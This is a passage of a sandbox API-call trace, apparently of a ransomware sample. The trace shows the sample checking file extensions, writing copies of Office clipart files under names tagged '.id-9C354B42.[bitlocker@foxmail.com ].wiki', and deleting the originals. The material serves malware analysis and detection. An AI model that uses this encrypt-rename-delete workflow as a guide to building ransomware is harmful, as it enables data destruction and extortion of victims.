(lpString1=".1cd", lpString2=".WMF") returned -1 [0198.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0198.959] lstrlenW (lpString=".jpg") returned 4 [0198.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.959] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0198.959] lstrlenW (lpString="J0164153.JPG") returned 12 [0198.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.961] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=46484) returned 1 [0198.961] CloseHandle (hObject=0x1d0) returned 1 [0198.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 0x20 [0198.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.962] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.962] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.962] GetLastError () returned 0x0 [0198.962] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xb594, lpOverlapped=0x0) returned 1 [0198.965] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xb5a0, lpOverlapped=0x0) returned 1 [0198.966] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.966] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.966] SetEndOfFile (hFile=0x1cc) returned 1 [0198.967] CloseHandle (hObject=0x1cc) returned 1 [0198.967] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.967] SetEndOfFile (hFile=0x1d0) returned 1 [0198.968] CloseHandle (hObject=0x1d0) returned 1 [0198.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0198.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.968] lstrlenW (lpString=".doc") returned 4 [0198.968] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0198.968] lstrlenW (lpString=".docx") returned 5 [0198.968] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0198.968] lstrlenW (lpString=".pdf") returned 4 [0198.968] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0198.968] lstrlenW (lpString=".xls") returned 4 [0198.968] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0198.968] lstrlenW (lpString=".xlsx") returned 5 [0198.968] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0198.968] lstrlenW (lpString=".ppt") returned 4 [0198.968] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0198.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.968] lstrlenW (lpString=".zip") returned 4 [0198.969] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0198.969] lstrlenW (lpString=".rar") returned 4 [0198.969] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0198.969] lstrlenW (lpString=".bz2") returned 4 [0198.969] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0198.969] lstrlenW (lpString=".7z") returned 3 [0198.969] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0198.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.969] lstrlenW (lpString=".dbf") returned 4 [0198.969] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0198.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.969] lstrlenW (lpString=".1cd") returned 4 [0198.969] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0198.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.969] lstrlenW (lpString=".jpg") returned 4 [0198.969] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0198.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.969] lstrlenW (lpString=".doc") returned 4 [0198.969] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0198.969] lstrlenW (lpString=".docx") returned 5 [0198.969] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0198.969] lstrlenW (lpString=".pdf") returned 4 [0198.969] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0198.969] lstrlenW (lpString=".xls") returned 4 [0198.969] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0198.969] lstrlenW (lpString=".xlsx") returned 5 [0198.969] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0198.969] lstrlenW (lpString=".ppt") returned 4 [0198.969] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0198.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.969] lstrlenW (lpString=".zip") returned 4 [0198.970] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0198.970] lstrlenW (lpString=".rar") returned 4 [0198.970] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0198.970] lstrlenW (lpString=".bz2") returned 4 [0198.970] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0198.970] lstrlenW (lpString=".7z") returned 3 [0198.970] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0198.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.970] lstrlenW (lpString=".dbf") returned 4 [0198.970] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0198.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.970] lstrlenW (lpString=".1cd") returned 4 [0198.970] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0198.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0198.970] lstrlenW (lpString=".jpg") returned 4 [0198.970] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0198.970] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.970] lstrlenW (lpString="J0168644.WMF") returned 12 [0198.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.971] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20906) returned 1 [0198.971] CloseHandle (hObject=0x1d0) returned 1 [0198.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 0x20 [0198.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.972] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.972] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.973] GetLastError () returned 0x0 [0198.973] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x51aa, lpOverlapped=0x0) returned 1 [0198.975] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x51b0, lpOverlapped=0x0) returned 1 [0198.976] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.976] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.976] SetEndOfFile (hFile=0x1cc) returned 1 [0198.976] CloseHandle (hObject=0x1cc) returned 1 [0198.979] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.979] SetEndOfFile (hFile=0x1d0) returned 1 [0198.980] CloseHandle (hObject=0x1d0) returned 1 [0198.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0198.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.980] lstrlenW (lpString=".doc") returned 4 [0198.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.980] lstrlenW (lpString=".docx") returned 5 [0198.981] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.981] lstrlenW (lpString=".pdf") returned 4 [0198.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString=".xls") returned 4 [0198.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.981] lstrlenW (lpString=".xlsx") returned 5 [0198.981] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.981] lstrlenW (lpString=".ppt") returned 4 [0198.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.981] lstrlenW (lpString=".zip") returned 4 [0198.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.981] lstrlenW (lpString=".rar") returned 4 [0198.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString=".bz2") returned 4 [0198.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString=".7z") returned 3 [0198.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.981] lstrlenW (lpString=".dbf") returned 4 [0198.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.981] lstrlenW (lpString=".1cd") returned 4 [0198.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.981] lstrlenW (lpString=".jpg") returned 4 [0198.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.981] lstrlenW (lpString=".doc") returned 4 [0198.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString=".docx") returned 5 [0198.982] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0198.982] lstrlenW (lpString=".pdf") returned 4 [0198.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString=".xls") returned 4 [0198.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.982] lstrlenW (lpString=".xlsx") returned 5 [0198.982] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0198.982] lstrlenW (lpString=".ppt") returned 4 [0198.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.982] lstrlenW (lpString=".zip") returned 4 [0198.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.982] lstrlenW (lpString=".rar") returned 4 [0198.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString=".bz2") returned 4 [0198.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString=".7z") returned 3 [0198.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.982] lstrlenW (lpString=".dbf") returned 4 [0198.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.982] lstrlenW (lpString=".1cd") returned 4 [0198.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0198.982] lstrlenW (lpString=".jpg") returned 4 [0198.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.983] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.983] lstrlenW (lpString="J0171685.WMF") returned 12 [0198.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.983] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14472) returned 1 [0198.983] CloseHandle (hObject=0x1d0) returned 1 [0198.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 0x20 [0198.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.983] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.984] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.984] GetLastError () returned 0x0 [0198.984] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3888, lpOverlapped=0x0) returned 1 [0198.986] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3890, lpOverlapped=0x0) returned 1 [0198.987] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.987] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.987] SetEndOfFile (hFile=0x1cc) returned 1 [0198.987] CloseHandle (hObject=0x1cc) returned 1 [0198.987] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.987] SetEndOfFile (hFile=0x1d0) returned 1 [0198.988] CloseHandle (hObject=0x1d0) returned 1 [0198.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0199.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.136] lstrlenW (lpString=".doc") returned 4 [0199.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.136] lstrlenW (lpString=".docx") returned 5 [0199.136] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.136] lstrlenW (lpString=".pdf") returned 4 [0199.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.153] lstrlenW (lpString=".xls") returned 4 [0199.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.153] lstrlenW (lpString=".xlsx") returned 5 [0199.153] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.153] lstrlenW (lpString=".ppt") returned 4 [0199.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.154] lstrlenW (lpString=".zip") returned 4 [0199.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.154] lstrlenW (lpString=".rar") returned 4 [0199.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString=".bz2") returned 4 [0199.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString=".7z") returned 3 [0199.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.154] lstrlenW (lpString=".dbf") returned 4 [0199.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.154] lstrlenW (lpString=".1cd") returned 4 [0199.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.154] lstrlenW (lpString=".jpg") returned 4 [0199.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.154] lstrlenW (lpString=".doc") returned 4 [0199.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString=".docx") returned 5 [0199.154] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0199.154] lstrlenW (lpString=".pdf") returned 4 [0199.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.154] lstrlenW (lpString=".xls") returned 4 [0199.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.154] lstrlenW (lpString=".xlsx") returned 5 [0199.155] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0199.155] lstrlenW (lpString=".ppt") returned 4 [0199.155] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.155] lstrlenW (lpString=".zip") returned 4 [0199.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.155] lstrlenW (lpString=".rar") returned 4 [0199.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.155] lstrlenW (lpString=".bz2") returned 4 [0199.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.155] lstrlenW (lpString=".7z") returned 3 [0199.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.155] lstrlenW (lpString=".dbf") returned 4 [0199.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.155] lstrlenW (lpString=".1cd") returned 4 [0199.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0199.155] lstrlenW (lpString=".jpg") returned 4 [0199.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.155] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.155] lstrlenW (lpString="J0177806.JPG") returned 12 [0199.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.164] 